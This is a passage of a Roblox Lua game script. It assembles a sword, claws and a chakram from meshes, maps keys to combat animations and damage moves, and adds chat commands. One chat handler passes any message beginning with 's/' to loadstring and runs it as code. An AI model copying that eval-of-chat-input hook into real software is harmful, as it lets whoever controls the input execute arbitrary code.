  7076. han2w = qi({"Weld",han2,Part0=han,Part1=han2,C0=cn(0,1,0)})
  7077. han3 = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",han3,MeshType="Sphere",Scale=v3(0.4,0.4,0.4)*5})
  7078. han3w = qi({"Weld",han2,Part0=han2,Part1=han3,C0=cn(0,-2,0)})
  7079. han4 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han4,MeshType="Sphere",Scale=v3(0.5,0.7,0.2)*5})
  7080. han4w = qi({"Weld",han2,Part0=han3,Part1=han4,C0=ca(0,rd(90),0)})
  7081. for i=1,7 do
  7082. des = pa(su,"","Block",0.4,0.2,0.4,false,false,0,0,"White") it('CylinderMesh',des).Scale = v3(1,0.4,1)
  7083. desw = qi({"Weld",han,Part0=han2,Part1=des,C0=cn(0,-0.9+(i/3),0)*ca(rd(rn(-15,15)),0,rd(rn(-15,15)))})
  7084. end
  7085. for i=0,270,90 do
  7086. des = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.1,0.4,0.1),MeshId=Decs.Spike})
  7087. desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=ca(0,rd(i),0)*cn(0,1.8,0.3)*ca(rd(90),0,0)})
  7088. end
  7089. han5 = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han5,MeshType="Sphere",Scale=v3(0.35,0.6,0.35)*5})
  7090. han5w = qi({"Weld",han2,Part0=han2,Part1=han5,C0=cn(0,2,0)})
  7091. han6 = pa(su,"","Wedge",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han6,MeshType="Wedge",Scale=v3(0.1,1,0.5)*5})
  7092. han6w = qi({"Weld",han2,Part0=han2,Part1=han6,C0=cn(0,2.4,0.05)*ca(rd(10),0,0)})
  7093. han7 = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",han7,MeshType="FileMesh",Scale=v3(0.75,0.75,2),MeshId=Decs.Ring})
  7094. han7w = qi({"Weld",han2,Part0=han2,Part1=han7,C0=cn(0,2.9,0)*ca(0,rd(90),0)})
  7095. han8 = pa(su,"","Block",0,0,0,false,false,0.3,0.1,"White") qi({"SpecialMesh",han8,MeshType="Sphere",Scale=v3(0.7,0.7,0.7)*5})
  7096. han8w = qi({"Weld",han2,Part0=han2,Part1=han8,C0=cn(0,2.9,0)*ca(0,0,0)})
  7097. han9 = pa(su,"","Block",0,0,0,false,false,0,0,"Institutional white") qi({"SpecialMesh",han9,Scale=v3(0.25,1,0.25),MeshType="FileMesh",MeshId = Decs.Chakram3})
  7098. han9w = qi({"Weld",han2,Part0=han2,Part1=han9,C0=cn(0,2.9,0)*ca(0,0,rd(90))})
  7099. q(function() while true do wait(0.035) han9w.C0 = han9w.C0 *ca(0,rd(10),0) end end)
  7100. for i=0,2 do
  7101. des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
  7102. desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,2.1+(i/2.1),0.6+(i/5))*ca(rd(150-(i*30)),0,0)})
  7103. end
  7104. des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
  7105. desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,3.6,0.7)*ca(rd(50),0,0)})
  7106. bla = pa(su,"","Wedge",0.2,1,2,false,false,0,0.05,"") qi({"SpecialMesh",bla,Scale=v3(0.56,1,1),MeshType="Wedge"})
  7107. blaw = qi({"Weld",han2,Part0=han8,Part1=bla,C0=cn(0,0.5,-1.2)*ca(rd(30),0,0)})
  7108. bla2 = pa(su,"","Wedge",0.2,0.7,2,false,false,0,0.05,"") qi({"SpecialMesh",bla2,Scale=v3(0.53,1,1),MeshType="Wedge"})
  7109. bla2w = qi({"Weld",han2,Part0=bla,Part1=bla2,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
  7110. bla3 = pa(su,"","Wedge",0.2,0.4,2,false,false,0,0.05,"") qi({"SpecialMesh",bla3,Scale=v3(0.5,1,1),MeshType="Wedge"})
  7111. bla3w = qi({"Weld",han2,Part0=bla2,Part1=bla3,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
  7112. han10 = pa(su,"","Block",0,0,0,false,false,0,1,"Really black") it('CylinderMesh',han10).Scale = v3(1.2,0.57,1.2)
  7113. han10 = qi({"Weld",han2,Part0=bla,Part1=han10,C0=cn(0,-0.37,1.35)*ca(0,0,rd(90))})
  7114. han11 = pa(su,"","Block",0.2,0.37,0.7,false,false,0,0,"") it('BlockMesh',han11).Scale = v3(0.48,1,0.9)
  7115. han11 = qi({"Weld",han2,Part0=bla,Part1=han11,C0=cn(0,-0.32,1.3)})
  7116. --http://www.roblox.com/Knights-of-the-Seventh-Sanctum-Sword-and-Shield-item?id=60357959
  7117. raa = c["Right Arm"]
  7118. laa = c["Left Arm"]
  7119. clawa1 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7120. clawa1w = qi({"Weld",han2,Part0=laa,Part1=clawa1,C0=ca(rd(180),0,0)*cn(-0.2,1.25,0)})
  7121. clawa2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7122. clawa2w = qi({"Weld",han2,Part0=laa,Part1=clawa2,C0=ca(rd(180),0,0)*cn(0.2,1.25,0)})
  7123. clawb1 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7124. clawb1w = qi({"Weld",han2,Part0=clawa1,Part1=clawb1,C0=cn(0,0.15,0)})
  7125. clawb2 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
  7126. clawb2w = qi({"Weld",han2,Part0=clawa2,Part1=clawb2,C0=cn(0,0.15,0)})
  7127. badge = pa(su,"","Block",0,0,0,false,false,0,0,"White") qi({"SpecialMesh",badge,MeshType="FileMesh",Scale=v3(0.15,1,0.5),MeshId=Decs.Diamond})
  7128. badgew = qi({"Weld",han2,Part0=laa,Part1=badge,C0=cn(-0.5,0,0)*ca(rd(25),0,0)})
  7129. badge2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",badge2,MeshType="FileMesh",Scale=v3(0.149,1,0.495),MeshId=Decs.Diamond})
  7130. badge2w = qi({"Weld",han2,Part0=badge,Part1=badge2})
  7131. ef = pa(su,"","Block",0,0,0,false,true,1,0,"White") qi({"SpecialMesh",ef,MeshType="FileMesh",Scale=v3(7,7,4),MeshId=Decs.Chakram2})
  7132. --efw = qi({"Weld",han2,Part0=t,Part1=ef,C0=cn(0,-2.9,0)*ca(rd(90),0,0)})
  7133. db1 = pa(su,"","Block",0,0,0,false,false,1,0,"White") qi({"SpecialMesh",db1,MeshType="Sphere",Scale=v3(1,1,1)*5})
  7134. db1w = qi({"Weld",han2,Part0=laa,Part1=db1,C0=cn(0,-2,0)})
  7135. db2 = pa(su,"","Block",0,0,0,false,false,1,0.1,"White") qi({"SpecialMesh",db2,MeshType="Sphere",Scale=v3(1.2,1.2,1.2)*5})
  7136. db2w = qi({"Weld",han2,Part0=db1,Part1=db2,C0=cn(0,0,0)})
  7137. local ebs = false
  7138. function eb(wutarm,aa,siz) if not siz then siz = 1 end q(function() db1.Mesh.Scale=v3(siz,siz,siz)*5 db1w.Part0 = wutarm db1w.C0 = cn(0,-1+(-siz/1.25),0) if not ebs then ebs = true
  7139. if aa then db1.Transparency = 0.1 else for i=1,0.1,-0.1 do db1.Transparency = i wait() end end
  7140. else
  7141. ebs = false if aa then db1.Transparency = 1 else for i=0.1,1,0.1 do db1.Transparency = i wait() end end
  7142. end end) end
  7143. local efm = ef.Mesh.Scale
  7144. function e(aa) if aa ~= nil then ef.Mesh.Scale=efm*aa else ef.Mesh.Scale=efm end if ef.Transparency < 0.4 then
  7145. for i=0.3,1,0.1 do ef.Transparency = i wait() end
  7146. else
  7147. q(function() for i=1,0.3,-0.1 do ef.Transparency = i wait() end end)
  7148. end end
  7149. q(function() while true do if ebs then for i=0.4,0.7,0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i wait() db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) end
  7150. for i=0.7,0.4,-0.025 do local tra = (i+0.15)*(db1.Mesh.Scale.x/4) db2.Transparency =i db2.Mesh.Scale=db1.Mesh.Scale*1.2+v3(tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5),tra*(db1.Mesh.Scale.x/5)) wait() end else db2.Transparency = 1 db2.Mesh.Scale = v3(1.2,1.2,1.2)*5 end wait() end end)
  7151. q(function() while true do for i=0,1,0.05 do badge.Transparency = i wait() end badge.Transparency = 1 wait(1) for i=1,0,-0.05 do badge.Transparency = i wait() end wait(4) end end)
  7152. sho = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",sho,Scale=v3(1.1,1.1,1.1)*5,MeshType="Wedge"})
  7153. show = qi({"Weld",han2,Part0=raa,Part1=sho,C0=cn(0,0.545,0)*ca(rd(180),rd(90),0)})
  7154. chak = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",chak,Scale=v3(0.09,0.09,0.24)*5,MeshType="FileMesh",MeshId=Decs.Chakram})
  7155. chakw = qi({"Weld",han2,Part0=raa,Part1=chak,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
  7156. chak2 = pa(su,"","Block",0,0,0,false,false,0.1,0.1,"White") qi({"SpecialMesh",chak2,Scale=v3(0.15,0.15,0.05)*5,MeshType="FileMesh",MeshId=Decs.Chakram2})
  7157. chak2w = qi({"Weld",han2,Part0=raa,Part1=chak2,C0=cn(0.56,0.5,0)*ca(0,rd(-90),0)})
  7158. local efww = 0
  7159. q(function() while true do wait() if FindGround(to.CFrame) then efww = efww+25 ef.CFrame = FindGround(to.CFrame)*ca(0,rd(efww),0)*ca(rd(90),0,0) else ef.CFrame=cn(10000,10000,10000) end end end)
  7160. q(function() while true do wait(0.035) chak2w.C0 = chak2w.C0*ca(0,0,rd(25)) end end)
  7161. ---- TUT02Cobalt1164
  7162. function Act(k,kb)
  7163. if kb then
  7164. if k == "e" and Anim=="None" then
  7165. Anim = "SpawnSwords" Armz(false) e() eb(raa) fac = true
  7166. c2(law,spd,3,-1.5,1,0,30,0,30) c2(tw,spd,3,0,0,0,0,-95,0) c2(hw,spd,3,0,1.5,0,0,95,0)
  7167. c1(raw,spd,3,1,0.5,0,0,0,-80) c2(raw,spd,3,1,0.4,0,0,0,-140) for i=1,5 do SpawnSword(FindGround(to.CFrame*cn(0,-2.75,-0.5+(-i*8)-i)),1+(i/10),15,"Navy blue") wait(0.06) end
  7168. eb(raa) fac = false wait(0.2) e() c2(law,spd,3,-1.5,1,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true)
  7169. Anim = "None"
  7170. elseif k == "q" and Anim=="None" then
  7171. Anim = "GravGrab" Armz(false) e() eb(laa) caw = false
  7172. c2(raw,spd,3,1.5,1,0,30,0,20) c2(tw,spd,3,0,0,0,0,95,0) c2(hw,spd,3,0,1.5,0,0,-95,0)
  7173. c1(law,spd,3,-1,0.5,0,0,0,130) SpikeSucker(to.CFrame*cn(0,5,-6),1) eb(laa) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7174. c2(law,spd,3,-1,0.5,0,45,0,90) c2(hw,spd,3,0,1.5,0,0,90,0) c2(tw,spd,3,0,0,0,0,-90,0) c2(hanw,spd,0,-0.1,-2.2,0,0,90,170)
  7175. Trail(bla3,15,0,"White",0.65,cn(0,-0.2,-1)) rayHit(0.6,1,ra,ca(rd(-90),0,0),8,1.3)
  7176. c1(raw,spd,3,1.3,0.5,0,-30,0,-135) wait(0.5) c2(hanw,spd,0,-0.1,-1.1,0,0,0,75)
  7177. caw = true c2(hw,spd,3,0,1.5,0,0,0,0) c2(tw,spd,3,0,0,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,30,3,20) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0) c1(raw,spd,3,1.5,1,0,0,0,0)
  7178. e() Anim = "None" Armz(true)
  7179. elseif k == "z" and Anim=="None" then
  7180. Anim = "Blackspace" Armz(false) Legz(false) caw = false
  7181. c2(raw,spd,3,1.5,1,0,20,0,-20) c2(law,spd,3,-1.5,1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20) c2(llw,spd,3,-0.5,-1,0,20,0,20) c1(tw,spd*0.5,3,0,7,0,0,0,0) Blackspace(t.CFrame,40,3)
  7182. c2(raw,spd,3,1.5,1,0,0,0,0) c2(law,spd,3,-1.5,1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,0) Anim = "None" Armz(true) Legz(true) caw = true
  7183. elseif k == "g" and Anim=="None" then
  7184. Anim = "MatterBall" e() Armz(false) fac = true
  7185. c2(tw,spd*1.3,3,0,0,0,0,-90,0) c2(hw,spd*1.3,3,0,1.5,0,0,90,0) c1(law,spd*1.3,3,-1,0.5,0,50,0,90-math.deg((to.Position - mouse.hit.p).unit.y))
  7186. eb(laa,nil,3) wait(0.3)
  7187. c2(tw,spd*1.55,3,0,0,0,0,70,0) c2(hw,spd*1.55,3,0,1.5,0,0,-70,0) c1(law,spd*1.55,3,-1,0.5,0,-20,0,90-math.deg((to.Position - mouse.hit.p).unit.y)) eb(laa,true,2) MatterBall(cn(db1.Position,la.CFrame*cn(0,-20,0).p),3,5,30,1.5)
  7188. fac = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c1(law,spd*1.3,3,-1.5,1,0,0,0,0) e() Armz(true) wait(0.1) Anim = "None"
  7189. elseif k == "r" and Anim=="None" then
  7190. Anim = "Block" Armz(false) fac = true
  7191. c2(tw,spd,3,0,0,0,0,-65,0) c2(hw,spd,3,0,1.5,0,0,65,0) c1(raw,spd,3,1.5,0.5,0.2,-100,-25,-5) c2(law,spd,3,-1.3,1,0.2,20,0,20)
  7192. local spm = chak2.Mesh.Scale for i=1,11,1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end
  7193. block.Value = true repeat wait(0.4) GlowMesh(true,chak2.Mesh.MeshId,chak2,chak2.Mesh.Scale*1.5,'White',cn(0,0,0),chak2.Transparency,1,0.025) until not ky[k] for i=11,1,-1 do chak2.Reflectance = i/40 chak2.Mesh.Scale = spm*i wait() end chak2.Reflectance = 0
  7194. block.Value = false c2(tw,spd*1.3,3,0,0,0,0,0,0) c2(hw,spd*1.3,3,0,1.5,0,0,0,0) c2(law,spd*1.3,3,-1.5,1,0,0,0,0) c1(raw,spd*1.3,3,1.5,1,0,0,0,0) Armz(true) fac = false Anim = "None"
  7195. elseif k == "v" and Anim=="None" then
  7196. Anim = "RakeFist" Armz(false) fac = true
  7197. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7198. if (to.Position - mouse.hit.p).magnitude < 125 then c2(hanw,spd*1.5,0,-0.1,-1.2,0,0,-30,100) c1(raw,spd*1.5,3,1.5,0.5,0,-135,-60,0) wait(0.2) FistBoom(cn(to.CFrame*cn(-1.5,1.5,-4).p,to.CFrame*cn(-1.5,1.5,-5).p),1,rn(d[1]*2,d[2]*2),(to.Position-v3(mouse.hit.p.x,to.Position.y,mouse.hit.p.z)).magnitude-10) fac = false c1(raw,spd,3,1,0.5,0,-50,70,0) end fac = false
  7199. wait(0.2) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0.5,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7200. c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) Anim = "None"
  7201. elseif k=="h" and Anim=="None" then
  7202. Anim = "Worm" Armz(false) e(3) fac = true caw = false
  7203. c2(tw,spd,3,0,0,0,0,-90,0) c2(hw,spd,3,0,1.5,0,0,90,0) c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7204. c2(hanw,spd,0,-0.1,-1.5,0,0,0,180) c1(raw,spd,3,1,0.5,0,-180,0,-30) c1(raw,spd,3,1,0.5,0,0,0,-90)
  7205. local tpos = mouse.hit.p if (tpos - bla2.Position).magnitude < 350 then q(function() local to = pa(su,"","Block",2,1,2,false,true,0.1,0,"White") it('CylinderMesh',to) local to2 = pa(su,"","Block",0,0,0,false,true,0.1,0,"White") qi({"SpecialMesh",to2,Scale=v3(2,2,2),MeshType="FileMesh",MeshId=Decs.Totem})
  7206. for i=1,5,0.5 do to.Size=v3(2,i,2) to.CFrame=cn(tpos+v3(0,i/2,0)) to2.CFrame = to.CFrame*cn(0,(i/2)+1,0) wait() end wait(3.5) for i=0.2,1,0.1 do to.Transparency = i to2.Transparency = i wait() end to:Remove() to2:Remove() end)
  7207. for i=1,8 do Lightning(bla2.Position,tpos,math.floor((bla2.Position-tpos).magnitude/18)+1,1.5,"White",0.3,0) wait(0.04) end fac = false
  7208. caw = true q(function() wait(1) WormDrill(cn(tpos),rn(25,30)/10) end) c1(law,spd,3,-1.5,0.25,0,0,0,180) q(function() local to = pa(su,"","Block",1.5,1.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",to,MeshType="Sphere"}) for i=1,15,1 do to.Size=v3(1.5,i*2,1.5) to.CFrame=la.CFrame*cn(0,-2+(-i),0) wait() end GlowMesh(false,"Sphere",t,v3(35,35,35),'Navy blue',la.CFrame*cn(0,-32,0),0.1,1,0.1) fade(to,0.1) end)
  7209. end fac = false caw = true c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7210. c2(tw,spd,3,0,0,0,0,0,0) c2(hw,spd,3,0,1.5,0,0,0,0) c2(law,spd*0.8,3,-1.5,1,0,0,0,0) c1(raw,spd*0.8,3,1.5,1,0,0,0,0) Armz(true) e(3) Anim = "None"
  7211. elseif k == "y" and Anim == "None" then
  7212. Anim = "Whirlwind" Armz(false) e() fac = true
  7213. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7214. c2(hanw,spd,0,-0.1,-1.2,0,0,0,90) c2(hanw,spd,1,0,0,0,0,0,0) c1(raw,spd,3,1,0.5,0,-180,0,0) wait(0.1)
  7215. local to = pa(su,"","Block",0,0,0,false,false,0.2,0,"White") it('CylinderMesh',to).Scale=v3(9,0.2,9)*5 local tom = qi({"Weld",to,Part0=ra,Part1=to})
  7216. q(function() for i=1,40 do if i == 20 then for hax=-50,50,25 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd(hax),0),1,1.2,6) end end tom.C0 = cn(0,-2.3,0)*ca(rd(rn(-8,8)),0,rd(rn(-8,8))) wait() end fade(to,0.1) end) c1(hanw,spd*0.3,1,0,0,0,360*5,0,0) cleanweld(hanw,"a1")
  7217. c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7218. c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) e() fac = false Anim ="None"
  7219. elseif k == "n" and Anim=="None" then
  7220. Anim = "CrownSwords" Armz(false) Legz(false) e() caw = false c2(tw,spd,3,0,5,2,-20,0,0) c2(llw,spd,3,-0.5,-1,0,20,0,20) c2(rlw,spd,3,0.5,-1,0,20,0,-20)
  7221. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7222. c2(hanw,spd,0,-0.1,-1.2,0,40,0,205) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15)
  7223. c2(raw,spd,3,1,0.5,-0.5,-70,-25,0) c2(law,spd,3,-1,0.5,-0.5,-70,25,0) c1(tw,spd,3,0,0,0,30,0,0) wait(0.2) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05) CrownSwords(to.CFrame*cn(0,-2.5,-3)) to.CFrame = to.CFrame*cn(0,0,30) GlowMesh(false,"Sphere",t,v3(9,15,12),'Navy blue',to.CFrame,0.1,1,0.05)
  7224. wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7225. c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Legz(true) Armz(true) caw = true Anim ="None"
  7226. elseif k == "b" and Anim=="None" then
  7227. Anim = "DeathWall" Armz(false) e() caw = false
  7228. c1(raw,spd*1.5,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd*1.5,3,1.5,0.5,0,-340,0,25) hanw.Part0 = raa hanw.C0 = cn(-0.1,-1.1,0)*ca(0,0,rd(75)) hanw.C1=ca(0,rd(-105),0)
  7229. c2(hanw,spd,0,-0.1,-1.2,0,40,0,190) c2(hanw,spd,1,0,0,0,0,-180,0) c2(raw,spd,3,1,0.5,-0.5,-135,-25,0) c1(law,spd,3,-1,0.5,-0.5,-135,25,0) wait(0.15)
  7230. c2(raw,spd*1.4,3,1,0.5,-0.5,-45,-25,0) c1(law,spd*1.4,3,-1,0.5,-0.5,-45,25,0) GlowMesh(false,"Sphere",t,v3(15,1,15),'Navy blue',to.CFrame*cn(0,-2.8,-5.5),0.1,1,0.03)
  7231. wait(0.2) for i=0,300,60 do SpawnDeathBlock(to.CFrame*ca(0,rd(i),0)*cn(0,-2.8,-10),to.Position,1) wait() end
  7232. wait(0.2) e() c2(tw,spd,3,0,0,0,0,0,0) c2(llw,spd,3,-0.5,-1,0,0,0,0) c2(rlw,spd,3,0.5,-1,0,0,0,0) c2(hanw,spd*0.7,0,-0.1,-1.2,0,0,0,70) c1(raw,spd,3,1.5,0.5,0,-340/2,0,40) c1(raw,spd,3,1.5,0.5,0,-340,0,25) hanw.Part0 = t hanw.C1=ca(0,0,0) hanw.C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)
  7233. c1(law,spd,3,-1.5,1,0,0,0,0) c1(raw,spd,3,1.5,1,0,0,0,0) Armz(true) caw = true Anim ="None"
  7234. elseif k == "f" and Anim=="None" then
  7235. Anim = "RapidKick" Legz(false)
  7236. c1(tw,spd,3,0,-0.5,0,-90,0,90) local lo = {-1,-1.6} local ty = 0 ws(25)
  7237. c1(tw,0.013,3,0,-0.5,0,-90,0,90+(360*5),function() ty=ty+1 local tz = 35 if lo[1] == -1 then lo = {-1.6,-1} else lo = {-1,-1.6} end
  7238. c2(llw,1,3,-0.5,lo[1],0,rn(-tz,tz),0,rn(-tz,tz))
  7239. c2(rlw,1,3,0.5,lo[2],0,rn(-tz,tz),0,rn(-tz,tz))
  7240. local tst = ll if rn(1,2) == 1 then tst = rl end
  7241. local das = pa(su,"","Block",1.5,2.5,1.5,false,true,0.1,0,"White") qi({"SpecialMesh",das,MeshType="Sphere"})
  7242. das.CFrame=tst.CFrame*cn(0,-4,0) fade(das,0.2)
  7243. if ty%3== 0 then hu:MoveTo(to.CFrame*cn(0,0,-5).p,to) local rr = 2 GetRegion(to.CFrame*cn(0,0,-3).p-v3(rr,rr,rr),to.CFrame*cn(0,0,-3).p+v3(rr,rr,rr),function(v) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.2,v.Torso) end) end
  7244. if ty%6==0 then GlowMesh(false,Decs.Crown,t,v3(3,6,3),'Navy blue',to.CFrame*cn(0,0,3)*ca(rd(90),0,0),0.1,1,0.05) end
  7245. end) ws(16)
  7246. c2(llw,1,3,-0.5,-1,0,0,0,0) c2(rlw,1,3,0.5,-1,0,0,0,0) c1(tw,spd,3,0,0,0,0,0,360*5) cleanweld(tw,"a1") Legz(true) Anim="None"
  7247. end
  7248. else
  7249. if k == "q" then
  7250. end -- q end
  7251. end -- bool end
  7252. end -- func end
  7253. local pla = pa(su,"","Block",7,1,7,true,true,1,0,"White")
  7254. function ButtonDown() if Anim~="None" then return end
  7255. to.Velocity=v3(0,0,0) if hu.Jump then GlowMesh(false,"Sphere",t,v3(8,2,8),'White',to.CFrame*cn(0,-2,0),0.1,1,0.05) GlowMesh(false,Decs.Crown,t,v3(5,3,5),'White',to.CFrame*cn(0,-1.5,0)*ca(rd(180),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,20,0)
  7256. hu.Jump=false GlowMesh(false,"Sphere",t,v3(8,2,8),'Navy blue',to.CFrame*cn(0,-4,0),0.1,1,0.05)
  7257. else GlowMesh(false,"Sphere",t,v3(8,10,2),'Navy blue',to.CFrame,0.1,1,0.05)
  7258. GlowMesh(false,Decs.Crown,t,v3(5,3,5),'Navy blue',to.CFrame*cn(0,0,1)*ca(rd(90),0,0),0.1,1,0.05) to.CFrame=to.CFrame*cn(0,0,-12) GlowMesh(false,"Sphere",t,v3(8,10,2),'White',to.CFrame*cn(0,0,1),0.1,1,0.05) end
  7259. pla.CFrame= to.CFrame*cn(0,-3.4,0) local orpos = pla.Position repeat wait(0.5) GlowMesh(false,"Sphere",t,v3(14,1,14),'Navy blue',cn(orpos)*cn(0,0.5,0),0.1,1,0.02) until pla.Position~=orpos or (pla.Position-to.Position).magnitude>10
  7260. to.Velocity=v3(0,0,0)
  7261. end
  7262. pl.Chatted:connect(function(ms) local m = ms:lower() if su.Parent == nil then return end
  7263. if m=="tkon" then tk = true
  7264. elseif m=="tkoff" then tk = false
  7265. elseif m == "rake" and Anim=="None" then Anim = "Special"
  7266. for i=1,8 do FistBoom(to.CFrame*ca(0,rd((360/8)*i),0)*cn(0,3,-6),1.5,rn(d[1]*2,d[2]*2),15) end wait(2) Anim="None"
  7267. elseif m == "torn" and Anim=="None" then Anim = "Special"
  7268. for i=1,10 do SpawnTornado(t.CFrame*cn(0,3,0)*ca(0,rd((360/10)*i),0)*cn(0,0,-2.5),1.5,1.5,8) end Anim = "None"
  7269. elseif m == "blast" and Anim=="None" then Anim = "Special"
  7270. for i=1,10 do MatterBall(to.CFrame*ca(0,rd((360/10)*i),0)*cn(0,1.5,-2.5),6,5,30,1.5) end Anim = "None"
  7271. elseif m:sub(1,2) == "s/" then q(function() loadstring(ms:sub(3))() end)
  7272. end end)
  7273. bin = it("HopperBin",bp) --bin = it("Tool") it("Part",bin).Name = "Handle"
  7274. bin.Name = sn
  7275. ---- TUT03Cobalt1164
  7276. bin.Selected:connect(function(mouse2) mouse = mouse2
  7277. mouse.KeyDown:connect(function(k) ky[k:lower()] = true
  7278. Act(k:lower(),true) end)
  7279. mouse.KeyUp:connect(function(k) ky[k:lower()] = false
  7280. Act(k:lower(),false) end)
  7281. mouse.Button1Down:connect(function() ButtonDown() end)
  7282. end)
  7283. ---- TUT04Cobalt1164
  7284. bin.Deselected:connect(function()
  7285. end)
  7286. --bin.Parent = c
